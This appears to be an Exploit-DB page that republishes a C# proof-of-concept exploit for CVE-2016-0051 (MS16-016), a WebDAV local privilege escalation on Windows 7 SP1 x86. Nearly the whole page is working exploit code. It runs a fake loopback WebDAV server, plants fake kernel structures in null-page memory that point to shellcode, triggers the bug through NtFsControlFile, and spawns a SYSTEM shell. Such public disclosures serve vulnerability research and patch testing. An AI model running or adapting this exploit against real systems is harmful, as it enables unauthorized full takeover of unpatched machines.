Microsoft Windows 7 SP1 (x86) – ‘WebDAV’ Local Privilege Escalation (MS16-016) (1)

  • 作者： koczkatamas
    日期： 2016-02-10
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/39432/
  • /*
source: https://github.com/koczkatamas/CVE-2016-0051

Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).

Full Proof of Concept:
- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip


Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/

using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;

namespace EoP
{
class Program
{
#region Fake WebDAV server

static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};

Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};

var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);

var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }

if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();

wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");

//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}

#endregion

#region WinAPI

[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}

[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);

// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library

public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}

[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}

[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);

public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}

internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}

internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;

[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}

[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();

[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

#endregion

private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }

public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");

var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));

var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");

var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");

if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);

var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);

Console.WriteLine("[*] Calling WNetAddConnection2...");
var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);

var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");

IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");

var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}

Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}